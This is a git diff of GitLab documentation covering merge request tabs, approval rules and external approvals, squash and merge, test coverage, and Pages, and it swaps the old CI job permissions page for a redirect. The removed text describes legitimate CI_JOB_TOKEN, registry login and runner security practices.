+1. Once approved, your merge request is [squashed and merged](squash_and_merge.md), and [deployed to staging with GitLab Pages](https://about.gitlab.com/blog/2021/02/05/ci-deployment-and-environments/).
+1. Your production team [cherry picks](cherry_pick_changes.md) the merge commit into production.
## Merge request navigation tabs at the top
> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/33813) in GitLab 12.6. This positioning is experimental.
-So far, the navigation tabs present in merge requests to display **Discussion**,
-**Commits**, **Pipelines**, and **Changes** were located after the merge request
+In GitLab 12.5 and earlier, navigation tabs in merge requests (**Discussion**,
+**Commits**, **Pipelines**, and **Changes**) were located after the merge request
widget.
-To facilitate this navigation without having to scroll up and down through the page
-to find these tabs, based on user feedback, we're experimenting with a new positioning
-of these tabs. They are now located at the top of the merge request, with a new
-**Overview** tab, containing the description of the merge request followed by the
-widget. Next to **Overview**, you can find **Pipelines**, **Commits**, and **Changes**.
+To facilitate navigation without scrolling, and based on user feedback, the tabs are
+now located at the top of the merge request tab. A new **Overview** tab was added,
+and next to **Overview** are **Commits**, **Pipelines**, and **Changes**.
-![Merge request tab positions](img/merge_request_tab_position_v12_6.png)
+![Merge request tab positions](img/merge_request_tab_position_v13_11.png)
-Please note this change is currently behind a feature flag which is enabled by default. For
+This change is behind a feature flag that is enabled by default. For
self-managed instances, it can be disabled through the Rails console by a GitLab
administrator with the following command:
@@ -76,23 +69,9 @@ administrator with the following command:
Feature.disable(:mr_tabs_position)
```
-## Creating merge requests
-
-Learn [how to create a merge request](creating_merge_requests.md).
-
-## Reviewing and managing merge requests
-
-See the features at your disposal to [review and manage merge requests](reviewing_and_managing_merge_requests.md).
-
-## Testing and reports in merge requests
-
-Learn about the options for [testing and reports](testing_and_reports_in_merge_requests.md) on the changes in a merge request.
-
-## Authorization for merge requests
-
-There are two main ways to have a merge request flow with GitLab:
-
-1. Working with [protected branches](../protected_branches.md) in a single repository
-1. Working with forks of an authoritative project
+## Related topics
-[Learn more about the authorization for merge requests.](authorization_for_merge_requests.md)
+- [Create a merge request](creating_merge_requests.md)
+- [Review and manage merge requests](reviewing_and_managing_merge_requests.md)
+- [Authorization for merge requests](authorization_for_merge_requests.md)
+- [Testing and reports](testing_and_reports_in_merge_requests.md)
diff --git a/doc/user/project/merge_requests/load_performance_testing.md b/doc/user/project/merge_requests/load_performance_testing.md
index e8062fadcfe..865a18a6a05 100644
--- a/doc/user/project/merge_requests/load_performance_testing.md
+++ b/doc/user/project/merge_requests/load_performance_testing.md
@@ -28,7 +28,7 @@ GET calls to a popular API endpoint in your application to see how it performs.
## How Load Performance Testing works
First, define a job in your `.gitlab-ci.yml` file that generates the
-[Load Performance report artifact](../../../ci/pipelines/job_artifacts.md#artifactsreportsload_performance).
+[Load Performance report artifact](../../../ci/yaml/README.md#artifactsreportsload_performance).
GitLab checks this report, compares key load performance metrics
between the source and target branches, and then shows the information in a merge request widget:
@@ -140,7 +140,7 @@ For example, you can override the duration of the test with a CLI option:
GitLab only displays the key performance metrics in the MR widget if k6's results are saved
via [summary export](https://k6.io/docs/results-visualization/json#summary-export)
-as a [Load Performance report artifact](../../../ci/pipelines/job_artifacts.md#artifactsreportsload_performance).
+as a [Load Performance report artifact](../../../ci/yaml/README.md#artifactsreportsload_performance).
The latest Load Performance artifact available is always used, using the
summary values from the test.
diff --git a/doc/user/project/merge_requests/merge_request_approvals.md b/doc/user/project/merge_requests/merge_request_approvals.md
index 3d3e04842f8..835350ade44 100644
--- a/doc/user/project/merge_requests/merge_request_approvals.md
+++ b/doc/user/project/merge_requests/merge_request_approvals.md
@@ -13,6 +13,7 @@ type: reference, concepts
Code review is an essential practice of every successful project. Approving a
merge request is an important part of the review
process, as it clearly communicates the ability to merge the change.
+A [merge request approvals API](../../../api/merge_request_approvals.md) is also available.
## Optional Approvals
@@ -23,6 +24,39 @@ This provides a consistent mechanism for reviewers to approve merge requests, an
maintainers know a change is ready to merge. Approvals in Free are optional, and do
not prevent a merge request from being merged when there is no approval.
+## External approvals **(ULTIMATE)**
+
+> - [Introduced](https://gitlab.com/groups/gitlab-org/-/epics/3869) in GitLab Ultimate 13.10.
+> - It's [deployed behind a feature flag](../../feature_flags.md), disabled by default.
+> - It's disabled on GitLab.com.
+> - It's not recommended for production use.
+> - To use it in GitLab self-managed instances, ask a GitLab administrator to [enable it](../../../api/merge_request_approvals.md#enable-or-disable-external-project-level-mr-approvals). **(ULTIMATE SELF)**
+
+WARNING:
+This feature might not be available to you. Check the **version history** note above for details.
+
+When you create an external approval rule, the following merge request actions sends information
+about a merge request to a third party service:
+
+- Create
+- Change
+- Close
+
+This action enables use-cases such as:
+
+- Integration with 3rd party workflow tools, such as [ServiceNow](https://www.servicenow.co.uk/).
+- Integration with custom tools designed to approve merge requests from outside of GitLab.
+
+You can find more information about use-cases, development timelines and the feature discovery in
+the [External API approval rules epic](https://gitlab.com/groups/gitlab-org/-/epics/3869).
+
+The intention for this feature is to allow those 3rd party tools to approve a merge request similarly to how users current do.
+
+NOTE:
+The lack of an external approval does not block the merging of a merge request.
+
+You can modify external approval rules through the [REST API](../../../api/merge_request_approvals.md#external-project-level-mr-approvals).
+
## Required Approvals **(PREMIUM)**
> - [Introduced](https://about.gitlab.com/releases/2015/06/22/gitlab-7-12-released/#merge-request-approvers-ee-only) in GitLab Enterprise Edition 7.12.
@@ -53,7 +87,7 @@ be merged, and optionally which users should do the approving. Approvals can be
If no approval rules are defined, any user can approve a merge request. However, the default
minimum number of required approvers can still be set in the
-[project settings for merge request approvals](#merge-request-approvals-project-settings).
+[settings for merge request approvals](#approval-settings).
You can opt to define one single rule to approve a merge request among the available rules
or choose more than one with [multiple approval rules](#multiple-approval-rules).
@@ -114,7 +148,7 @@ or higher [permissions](../../permissions.md).
To enable this merge request approval rule:
1. Navigate to your project's **Settings > General** and expand
- **Merge request approvals**.
+ **Merge request (MR) approvals**.
1. Locate **Any eligible user** and choose the number of approvals required.
![MR approvals by Code Owners](img/mr_approvals_by_code_owners_v12_7.png)
@@ -145,7 +179,7 @@ To enable this access:
1. [Share the project with your group](../members/share_project_with_groups.md#sharing-a-project-with-a-group-of-users),
based on the Reporter role.
1. Navigate to your project's **Settings > General**, and in the
- **Merge request approvals** section, click **Expand**.
+ **Merge request (MR) approvals** section, click **Expand**.
1. Select **Add approval rule** or **Update approval rule**.
1. [Add the group](../../group/index.md#create-a-group) to the permission list.
@@ -155,7 +189,7 @@ To enable this access:
To add or edit the default merge request approval rule:
-1. Navigate to your project's **Settings > General** and expand **Merge request approvals**.
+1. Navigate to your project's **Settings > General** and expand **Merge request (MR) approvals**.
1. Click **Add approval rule**, or **Edit**.
- Add or change the **Rule name**.
@@ -235,14 +269,14 @@ reduces the number of approvals left for all rules that the approver belongs to.
Approval rules are often only relevant to specific branches, like `master`.
When configuring [**Default Approval Rules**](#adding--editing-a-default-approval-rule)
these can be scoped to all the protected branches at once by navigating to your project's
-**Settings**, expanding **Merge request approvals**, and selecting **Any branch** from
+**Settings**, expanding **Merge request (MR) approvals**, and selecting **Any branch** from
the **Target branch** dropdown.
Alternatively, you can select a very specific protected branch from the **Target branch** dropdown:
![Scoped to protected branch](img/scoped_to_protected_branch_v13_10.png)
-To enable this configuration, see [Code Owner’s approvals for protected branches](../protected_branches.md#protected-branches-approval-by-code-owners).
+To enable this configuration, see [Code Owner's approvals for protected branches](../protected_branches.md#protected-branches-approval-by-code-owners).
### Adding or removing an approval
@@ -278,10 +312,10 @@ else blocking it. Note that the merge request could still be blocked by other co
such as merge conflicts, [pending discussions](../../discussions/index.md#only-allow-merge-requests-to-be-merged-if-all-threads-are-resolved),
or a [failed CI/CD pipeline](merge_when_pipeline_succeeds.md).
-### Merge request approvals project settings
+### Approval settings
-The project settings for Merge request approvals are found by going to
-**Settings > General** and expanding **Merge request approvals**.
+The settings for Merge Request Approvals are found by going to
+**Settings > General** and expanding **Merge request (MR) approvals**.
#### Prevent overriding default approvals
@@ -289,7 +323,7 @@ Regardless of the approval rules you choose for your project, users can edit the
request, overriding the rules you set as [default](#adding--editing-a-default-approval-rule).
To prevent that from happening:
-1. Uncheck the **Allow overrides to approval lists per merge request (MR).** checkbox.
+1. Select the **Prevent users from modifying MR approval rules in merge requests.** checkbox.
1. Click **Save changes**.
#### Resetting approvals on push
@@ -314,7 +348,7 @@ from the UI. However, approvals are reset if the target branch is changed.
By default, projects are configured to prevent merge requests from being approved by
their own authors. To change this setting:
-1. Go to your project's **Settings > General**, expand **Merge request approvals**.
+1. Go to your project's **Settings > General**, expand **Merge request (MR) approvals**.
1. Uncheck the **Prevent MR approval by the author.** checkbox.
1. Click **Save changes**.
diff --git a/doc/user/project/merge_requests/merge_request_dependencies.md b/doc/user/project/merge_requests/merge_request_dependencies.md
index 2d7ba853258..fc5cc4d958b 100644
--- a/doc/user/project/merge_requests/merge_request_dependencies.md
+++ b/doc/user/project/merge_requests/merge_request_dependencies.md
@@ -17,9 +17,9 @@ then it cannot be merged until its dependency is itself merged.
NOTE:
Merge requests dependencies are a **PREMIUM** feature, but this restriction is
-only enforced for the dependent merge request. A merge request in a **FREE** or
-**STARTER** project can be a dependency of a **PREMIUM** merge request, but not
-vice-versa.
+only enforced for the dependent merge request. A merge request in a **FREE**
+project can be a dependency of a **PREMIUM** merge request, but not
+the other way around.
## Use cases
diff --git a/doc/user/project/merge_requests/reviewing_and_managing_merge_requests.md b/doc/user/project/merge_requests/reviewing_and_managing_merge_requests.md
index 406a79217d0..aba75403a2a 100644
--- a/doc/user/project/merge_requests/reviewing_and_managing_merge_requests.md
+++ b/doc/user/project/merge_requests/reviewing_and_managing_merge_requests.md
@@ -28,6 +28,39 @@ You can [search and filter the results](../../search/index.md#filtering-issue-an
![Group Issues list view](img/group_merge_requests_list_view.png)
+## Cached merge request count
+
+> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/299542) in GitLab 13.11.
+> - It's [deployed behind a feature flag](../../feature_flags.md), enabled by default.
+> - It's enabled on GitLab.com.
+> - It's recommended for production use.
+> - For GitLab self-managed instances, GitLab administrators can opt to [disable it](#enable-or-disable-cached-merge-request-count).
+
+WARNING:
+This feature might not be available to you. Check the **version history** note above for details.
+
+In a group, the sidebar displays the total count of open merge requests and this value is cached if higher
+than 1000. The cached value is rounded to thousands (or millions) and updated every 24 hours.
+
+### Enable or disable cached merge request count **(FREE SELF)**
+
+Cached merge request count in the left sidebar is under development but ready for production use. It is
+deployed behind a feature flag that is **enabled by default**.
+[GitLab administrators with access to the GitLab Rails console](../../../administration/feature_flags.md)
+can disable it.
+
+To disable it:
+
+```ruby
+Feature.disable(:cached_sidebar_merge_requests_count)
+```
+
+To enable it:
+
+```ruby
+Feature.enable(:cached_sidebar_merge_requests_count)
+```
+
## Semi-linear history merge requests
A merge commit is created for every merge, but the branch is only merged if
@@ -112,10 +145,10 @@ To seamlessly navigate among commits in a merge request:
1. Select a commit to open it in the single-commit view.
1. Navigate through the commits by either:
- - Selecting **Prev** and **Next** buttons on the top-right of the page.
+ - Selecting **Prev** and **Next** buttons below the tab buttons.
- Using the <kbd>X</kbd> and <kbd>C</kbd> keyboard shortcuts.
-![Merge requests commit navigation](img/commit_nav_v13_4.png)
+![Merge requests commit navigation](img/commit_nav_v13_11.png)
### Incrementally expand merge request diffs
@@ -235,7 +268,7 @@ the **Merge** button is colored red.
When a merge request is merged, you can see the post-merge pipeline status of
the branch the merge request was merged into. For example, when a merge request
-is merged into the `master` branch and then triggers a deployment to the staging
+is merged into the [default branch](../repository/branches/default.md) and then triggers a deployment to the staging
environment.
Ongoing deployments are shown, and the state (deploying or deployed)
diff --git a/doc/user/project/merge_requests/squash_and_merge.md b/doc/user/project/merge_requests/squash_and_merge.md
index f500c18a32e..4315e5a0305 100644
--- a/doc/user/project/merge_requests/squash_and_merge.md
+++ b/doc/user/project/merge_requests/squash_and_merge.md
@@ -7,8 +7,7 @@ type: reference, concepts
# Squash and merge **(FREE)**
-> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/1024) in [GitLab Starter](https://about.gitlab.com/pricing/) 8.17.
-> - [Moved](https://gitlab.com/gitlab-org/gitlab-foss/-/merge_requests/18956) from [GitLab Starter](https://about.gitlab.com/pricing/)to GitLab Free in 11.0.
+> - [Moved](https://gitlab.com/gitlab-org/gitlab-foss/-/merge_requests/18956) to GitLab Free in 11.0.
With squash and merge you can combine all your merge request's commits into one
and retain a clean history.
@@ -31,10 +30,7 @@ NOTE:
The squashed commit in this example is followed by a merge commit, because the merge method for this repository uses a merge commit. You can disable merge commits in
**Project Settings > General > Merge requests > Merge method > Fast-forward merge**.
-The squashed commit's commit message is either:
-
-- Taken from the first multi-line commit message in the merge.
-- The merge request's title if no multi-line commit message is found.
+The squashed commit's default commit message is taken from the merge request title.
NOTE:
This only takes effect if there are at least 2 commits. As there is nothing to squash, the commit message does not change if there is only 1 commit.
@@ -105,11 +101,11 @@ squashing can itself be considered equivalent to rebasing.
## Squash Commits Options
> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/17613) in GitLab 13.2.
-> - It was deployed behind a feature flag, disabled by default.
-> - [Became enabled by default](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/39382) on GitLab 13.3.
-> - It's enabled on GitLab.com.
-> - It can be enabled per project.
-> - It's recommended for production use.
+> - Deployed behind a feature flag, disabled by default.
+> - [Enabled by default](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/39382) in GitLab 13.3.
+> - Enabled on GitLab.com.
+> - Can be enabled per project.
+> - Recommended for production use.
With Squash Commits Options you can configure the behavior of Squash and Merge for your project.
To set it up, navigate to your project's **Settings > General** and expand **Merge requests**.
diff --git a/doc/user/project/merge_requests/test_coverage_visualization.md b/doc/user/project/merge_requests/test_coverage_visualization.md
index 02b557e22b9..147171e8488 100644
--- a/doc/user/project/merge_requests/test_coverage_visualization.md
+++ b/doc/user/project/merge_requests/test_coverage_visualization.md
@@ -21,14 +21,14 @@ MR is merged.
## How test coverage visualization works
Collecting the coverage information is done via GitLab CI/CD's
-[artifacts reports feature](../../../ci/pipelines/job_artifacts.md#artifactsreports).
+[artifacts reports feature](../../../ci/yaml/README.md#artifactsreports).
You can specify one or more coverage reports to collect, including wildcard paths.
GitLab will then take the coverage information in all the files and combine it
together.
For the coverage analysis to work, you have to provide a properly formatted
[Cobertura XML](https://cobertura.github.io/cobertura/) report to
-[`artifacts:reports:cobertura`](../../../ci/pipelines/job_artifacts.md#artifactsreportscobertura).
+[`artifacts:reports:cobertura`](../../../ci/yaml/README.md#artifactsreportscobertura).
This format was originally developed for Java, but most coverage analysis frameworks
for other languages have plugins to add support for it, like:
@@ -55,6 +55,11 @@ NOTE:
A limit of 100 `<source>` nodes for Cobertura format XML files applies. If your Cobertura report exceeds
100 nodes, there can be mismatches or no matches in the Merge Request diff view.
+### Artifact expiration
+
+By default, the [pipeline artifact](../../../ci/pipelines/pipeline_artifacts.md#storage) used
+to draw the visualization on the Merge Request expires **one week** after creation.
+
### Automatic class path correction
> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/217664) in GitLab 13.8.
diff --git a/doc/user/project/merge_requests/testing_and_reports_in_merge_requests.md b/doc/user/project/merge_requests/testing_and_reports_in_merge_requests.md
index 9661a02a767..cc0be389891 100644
--- a/doc/user/project/merge_requests/testing_and_reports_in_merge_requests.md
+++ b/doc/user/project/merge_requests/testing_and_reports_in_merge_requests.md
@@ -19,7 +19,7 @@ or link to useful information directly from merge requests:
| [Code Quality](code_quality.md) | Analyze your source code quality using the [Code Climate](https://codeclimate.com/) analyzer and show the Code Climate report right in the merge request widget area. |
| [Display arbitrary job artifacts](../../../ci/yaml/README.md#artifactsexpose_as) | Configure CI pipelines with the `artifacts:expose_as` parameter to directly link to selected [artifacts](../../../ci/pipelines/job_artifacts.md) in merge requests. |
| [GitLab CI/CD](../../../ci/README.md) | Build, test, and deploy your code in a per-branch basis with built-in CI/CD. |
-| [Unit test reports](../../../ci/unit_test_reports.md) | Configure your CI jobs to use Unit test reports, and let GitLab display a report on the merge request so that it’s easier and faster to identify the failure without having to check the entire job log. |
+| [Unit test reports](../../../ci/unit_test_reports.md) | Configure your CI jobs to use Unit test reports, and let GitLab display a report on the merge request so that it's easier and faster to identify the failure without having to check the entire job log. |
| [License Compliance](../../compliance/license_compliance/index.md) **(ULTIMATE)** | Manage the licenses of your dependencies. |
| [Metrics Reports](../../../ci/metrics_reports.md) **(PREMIUM)** | Display the Metrics Report on the merge request so that it's fast and easy to identify changes to important metrics. |
| [Multi-Project pipelines](../../../ci/multi_project_pipelines.md) **(PREMIUM)** | When you set up GitLab CI/CD across multiple projects, you can visualize the entire pipeline, including all cross-project interdependencies. |
diff --git a/doc/user/project/new_ci_build_permissions_model.md b/doc/user/project/new_ci_build_permissions_model.md
index 585d97c74c2..f7e8d3d140c 100644
--- a/doc/user/project/new_ci_build_permissions_model.md
+++ b/doc/user/project/new_ci_build_permissions_model.md
@@ -1,256 +1,8 @@
---
-stage: Verify
-group: Continuous Integration
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
-type: reference
+redirect_to: '../../ci/README.md'
---
-# New CI job permissions model
+This document is deprecated. See the latest [GitLab CI/CD documentation](../../ci/README.md).
-> Introduced in GitLab 8.12.
-
-GitLab 8.12 has a completely redesigned [job permissions](../permissions.md#job-permissions) system. You can find
-all discussion and all our concerns when choosing the current approach in issue
-[#18994](https://gitlab.com/gitlab-org/gitlab-foss/-/issues/18994).
-
-Jobs permissions should be tightly integrated with the permissions of a user
-who is triggering a job.
-
-The reasons to do it like that are:
-
-- We already have a permissions system in place: group and project membership
- of users.
-- We already fully know who is triggering a job (using `git push`, using the
- web UI, executing triggers).
-- We already know what user is allowed to do.
-- We use the user permissions for jobs that are triggered by the user.
-- It opens a lot of possibilities to further enforce user permissions, like
- allowing only specific users to access runners or use secure variables and
- environments.
-- It is simple and convenient that your job can access everything that you
- as a user have access to.
-- Short living unique tokens are now used, granting access for time of the job
- and maximizing security.
-
-With the new behavior, any job that is triggered by the user, is also marked
-with their read permissions. When a user does a `git push` or changes files through
-the web UI, a new pipeline is usually created. This pipeline is marked
-as created by the pusher (local push or via the UI) and any job created in this
-pipeline has the read permissions of the pusher but not write permissions.
-
-This allows us to make it really easy to evaluate the access for all projects
-that have [Git submodules](../../ci/git_submodules.md) or are using container images that the pusher
-would have access too. **The permission is granted only for the time that the job
-is running. The access is revoked after the job is finished.**
-
-## Types of users
-
-It is important to note that we have a few types of users:
-
-- **Administrators**: CI jobs created by Administrators don't have access
- to all GitLab projects, but only to projects and container images of projects
- that the administrator is a member of. That means that if a project is either
- public or internal users have access anyway, but if a project is private, the
- Administrator has to be a member of it in order to have access to it
- via another project's job.
-
-- **External users**: CI jobs created by [external users](../permissions.md#external-users) have
- access only to projects to which the user has at least Reporter access. This
- rules out accessing all internal projects by default.
-
-This allows us to make the CI and permission system more trustworthy.
-Let's consider the following scenario:
-
-1. You are an employee of a company. Your company has a number of internal tools
- hosted in private repositories and you have multiple CI jobs that make use
- of these repositories.
-
-1. You invite a new [external user](../permissions.md#external-users). CI jobs created by that user do not
- have access to internal repositories, because the user also doesn't have the
- access from within GitLab. You as an employee have to grant explicit access
- for this user. This allows us to prevent from accidental data leakage.
-
-## Job token
-
-When a pipeline job is about to run, GitLab generates a unique token and injects it as the
-[`CI_JOB_TOKEN` predefined variable](../../ci/variables/predefined_variables.md).
-This token can authenticate [API requests](../../api/README.md)
-from the job script (Runner) that needs to access the project's resources (for example, when
-fetching a job artifact).
-
-Once the token is authenticated, GitLab identifies the user who triggered the job and uses this user
-to authorize access to the resource. Therefore, this user must be assigned to
-[a role that has the required privileges](../permissions.md).
-
-The job token has these limitations:
-
-- Not all APIs allow job tokens for authentication. See [this list](../../api/README.md#gitlab-ci-job-token)
- for available endpoints.
-- The token is valid only while the pipeline job runs. Once the job finishes, the token can't be
- used for authentication.
-
-Although a job token is handy to quickly access a project's resources without any configuration, it
-sometimes gives extra permissions that aren't necessary. There is [a proposal](https://gitlab.com/groups/gitlab-org/-/epics/3559)
-to redesign the feature for more strategic control of the access permissions.
-
-If you need your CI pipeline to push to the Package Registry, consider using [deploy tokens](deploy_tokens/index.md).
-
-We try to make sure that this token doesn't leak by:
-
-1. Securing all API endpoints to not expose the job token.
-1. Masking the job token from job logs.
-1. Granting permissions to the job token **only** when the job is running.
-
-However, this brings up a question about the runner's security. To make sure that
-this token doesn't leak, you should also make sure that you configure
-your runners in the most possible secure way, by avoiding the following:
-
-1. Any usage of Docker's `privileged` mode is risky if the machines are re-used.
-1. Using the `shell` executor since jobs run on the same machine.
-
-By using an insecure GitLab Runner configuration, you allow the rogue developers
-to steal the tokens of other jobs.
-
-## Before GitLab 8.12
-
-In versions before GitLab 8.12, all CI jobs would use the runner's token
-to checkout project sources.
-
-The project's runner token was a token that you could find under the
-project's **Settings > Pipelines** and was limited to access only that
-project.
-It could be used for registering new specific runners assigned to the project
-and to checkout project sources.
-It could also be used with the GitLab Container Registry for that project,
-allowing pulling and pushing Docker images from within the CI job.
-
-GitLab would create a special checkout URL like:
-
-```plaintext
-https://gitlab-ci-token:<project-runners-token>/gitlab.com/gitlab-org/gitlab-foss.git
-```
-
-And then the users could also use it in their CI jobs all Docker related
-commands to interact with GitLab Container Registry. For example:
-
-```shell
-docker login -u gitlab-ci-token -p $CI_JOB_TOKEN registry.gitlab.com
-```
-
-Using single token had multiple security implications:
-
-- The token would be readable to anyone who had Developer access to a project
- that could run CI jobs, allowing the developer to register any specific
- runner for that project.
-- The token would allow to access only the project's sources, forbidding from
- accessing any other projects.
-- The token was not expiring and was multi-purpose: used for checking out sources,
- for registering specific runners and for accessing a project's container
- registry with read-write permissions.
-
-All the above led to a new permission model for jobs that was introduced
-with GitLab 8.12.
-
-## Making use of the new CI job permissions model
-
-With the new job permissions model, there is now an easy way to access all
-dependent source code in a project. That way, we can:
-
-1. Access a project's dependent repositories
-1. Access a project's [Git submodules](../../ci/git_submodules.md)
-1. Access private container images
-1. Access project's and submodule LFS objects
-
-Below you can see the prerequisites needed to make use of the new permissions
-model and how that works with Git submodules and private Docker images hosted on
-the container registry.
-
-### Prerequisites to use the new permissions model
-
-With the new permissions model in place, there may be times that your job
-fails. This is most likely because your project tries to access other project's
-sources, and you don't have the appropriate permissions. In the job log look
-for information about 403 or forbidden access messages.
-
-In short here's what you need to do should you encounter any issues.
-
-As an administrator:
-
-- **500 errors**: You need to update [GitLab Workhorse](https://gitlab.com/gitlab-org/gitlab-workhorse) to at
- least 0.8.2. This is done automatically for Omnibus installations, you need to
- [check manually](https://gitlab.com/gitlab-org/gitlab-foss/tree/master/doc/update) for installations from source.
-- **500 errors**: Check if you have another web proxy sitting in front of NGINX (HAProxy,
- Apache, etc.). It might be a good idea to let GitLab use the internal NGINX
- web server and not disable it completely. See [this comment](https://gitlab.com/gitlab-org/gitlab-foss/-/issues/22484#note_16648302) for an
- example.
-- **403 errors**: You need to make sure that your installation has [HTTP(S)
- cloning enabled](../admin_area/settings/visibility_and_access_controls.md#enabled-git-access-protocols). HTTP(S) support is now a **requirement** by GitLab CI
- to clone all sources.
-
-As a user:
-
-- Make sure you are a member of the group or project you're trying to have
- access to. As an Administrator, you can verify that by impersonating the user
- and retry the failing job in order to verify that everything is correct.
-
-### Dependent repositories
-
-The [CI/CD variable](../../ci/variables/README.md#predefined-cicd-variables) `CI_JOB_TOKEN` can be used to
-authenticate any clones of dependent repositories. For example:
-
-```shell
-git clone https://gitlab-ci-token:${CI_JOB_TOKEN}@gitlab.com/<user>/<mydependentrepo>.git
-```
-
-It can also be used for system-wide authentication
-(only do this in a Docker container, it overwrites `~/.netrc`):
-
-```shell
-echo -e "machine gitlab.com\nlogin gitlab-ci-token\npassword ${CI_JOB_TOKEN}" > ~/.netrc
-```
-
-### Git submodules
-
-To properly configure submodules with GitLab CI/CD, read the
-[Git submodules documentation](../../ci/git_submodules.md).
-
-### Container Registry
-
-With the update permission model we also extended the support for accessing
-Container Registries for private projects.
-
-GitLab Runner versions prior to 1.8 don't incorporate the introduced changes
-for permissions. This makes the `image:` directive not work with private
-projects automatically and it needs to be configured manually on the GitLab Runner host
-with a predefined account (for example administrator's personal account with
-access token created explicitly for this purpose). This issue is resolved with
-latest changes in GitLab Runner 1.8 which receives GitLab credentials with
-build data.
-
-Starting from GitLab 8.12, if you have [2FA](../profile/account/two_factor_authentication.md) enabled in your account, you need
-to pass a [personal access token](../profile/personal_access_tokens.md) instead of your password in order to
-login to the Container Registry.
-
-Your jobs can access all container images that you would normally have access
-to. The only implication is that you can push to the Container Registry of the
-project for which the job is triggered.
-
-This is how an example usage can look like:
-
-```yaml
-test:
- script:
- - docker login -u "$CI_REGISTRY_USER" -p "$CI_REGISTRY_PASSWORD" $CI_REGISTRY
- - docker pull $CI_REGISTRY/group/other-project:latest
- - docker run $CI_REGISTRY/group/other-project:latest
-```
-
-### Pipeline triggers
-
-Since 9.0 [pipeline triggers](../../ci/triggers/README.md#ci-job-token) do support the new permission model.
-The new triggers do impersonate their associated user including their access
-to projects and their project permissions.
-
-### API
-
-GitLab API can be used via `CI_JOB_TOKEN`, see [the relevant documentation](../../api/README.md#gitlab-ci-job-token).
+<!-- This redirect file can be deleted after <2021-06-01>. -->
+<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page -->
diff --git a/doc/user/project/pages/custom_domains_ssl_tls_certification/ssl_tls_concepts.md b/doc/user/project/pages/custom_domains_ssl_tls_certification/ssl_tls_concepts.md
index d9f57253396..f79c60a933a 100644
--- a/doc/user/project/pages/custom_domains_ssl_tls_certification/ssl_tls_concepts.md
+++ b/doc/user/project/pages/custom_domains_ssl_tls_certification/ssl_tls_concepts.md
@@ -36,7 +36,7 @@ with financial transactions.
Now we have a different picture. [According to Josh Aas](https://letsencrypt.org/2015/10/29/phishing-and-malware.html), Executive Director at [ISRG](https://en.wikipedia.org/wiki/Internet_Security_Research_Group):
<!-- vale gitlab.rulename = YES -->
-> _We’ve since come to realize that HTTPS is important for almost all websites. It’s important for any website that allows people to log in with a password, any website that [tracks its users](https://www.washingtonpost.com/news/the-switch/wp/2013/12/10/nsa-uses-google-cookies-to-pinpoint-targets-for-hacking/) in any way, any website that [doesn’t want its content altered](https://arstechnica.com/tech-policy/2014/09/why-comcasts-javascript-ad-injections-threaten-security-net-neutrality/), and for any site that offers content people might not want others to know they are consuming. We’ve also learned that any site not secured by HTTPS [can be used to attack other sites](https://krebsonsecurity.com/2015/04/dont-be-fodder-for-chinas-great-cannon/)._
+> _We've since come to realize that HTTPS is important for almost all websites. It's important for any website that allows people to log in with a password, any website that [tracks its users](https://www.washingtonpost.com/news/the-switch/wp/2013/12/10/nsa-uses-google-cookies-to-pinpoint-targets-for-hacking/) in any way, any website that [doesn't want its content altered](https://arstechnica.com/tech-policy/2014/09/why-comcasts-javascript-ad-injections-threaten-security-net-neutrality/), and for any site that offers content people might not want others to know they are consuming. We've also learned that any site not secured by HTTPS [can be used to attack other sites](https://krebsonsecurity.com/2015/04/dont-be-fodder-for-chinas-great-cannon/)._
Therefore, the reason why certificates are so important is that they encrypt
the connection between the **client** (you, me, your visitors)
diff --git a/doc/user/project/pages/getting_started/pages_new_project_template.md b/doc/user/project/pages/getting_started/pages_new_project_template.md
index eec8349abe6..36371573fd9 100644
--- a/doc/user/project/pages/getting_started/pages_new_project_template.md
+++ b/doc/user/project/pages/getting_started/pages_new_project_template.md
@@ -5,7 +5,7 @@ group: Release
info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
-# Create a Pages website from a new project template
+# Create a Pages website from a template
> [Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/issues/47857) in GitLab 11.8.
diff --git a/doc/user/project/pages/getting_started_part_one.md b/doc/user/project/pages/getting_started_part_one.md
index dee021b8225..9eb80e3287c 100644
--- a/doc/user/project/pages/getting_started_part_one.md
+++ b/doc/user/project/pages/getting_started_part_one.md
@@ -81,7 +81,7 @@ To understand Pages domains clearly, read the examples below.
## URLs and base URLs
NOTE:
-The `baseurl` option might be called named differently in some static site generators.
+The `baseurl` option might be named differently in some static site generators.
Every Static Site Generator (SSG) default configuration expects
to find your website under a (sub)domain (`example.com`), not
diff --git a/doc/user/project/pages/index.md b/doc/user/project/pages/index.md
index 2a0e1207bf5..2ff91292b1b 100644
--- a/doc/user/project/pages/index.md
+++ b/doc/user/project/pages/index.md
@@ -46,10 +46,10 @@ To create a GitLab Pages website:
| Document | Description |
| -------- | ----------- |
-| [Use a new project template](getting_started/pages_new_project_template.md) | Create a new project with Pages already configured by using a new project template. |
+| [Create a `gitlab-ci.yml` file from scratch](getting_started/pages_from_scratch.md) | Add a Pages site to an existing project. Learn how to create and configure your own CI file. |
| [Use a `.gitlab-ci.yml` template](getting_started/pages_ci_cd_template.md) | Add a Pages site to an existing project. Use a pre-populated CI template file. |
| [Fork a sample project](getting_started/pages_forked_sample_project.md) | Create a new project with Pages already configured by forking a sample project. |
-| [Create a `gitlab-ci.yml` file from scratch](getting_started/pages_from_scratch.md) | Add a Pages site to an existing project. Learn how to create and configure your own CI file. |
+| [Use a project template](getting_started/pages_new_project_template.md) | Create a new project with Pages already configured by using a template. |
To update a GitLab Pages website:
diff --git a/doc/user/project/pages/introduction.md b/doc/user/project/pages/introduction.md
index fbc86abbe66..3c3de26d7dd 100644
--- a/doc/user/project/pages/introduction.md
+++ b/doc/user/project/pages/introduction.md
@@ -281,3 +281,19 @@ No, you don't. You can create your project first and access it under
## Known issues
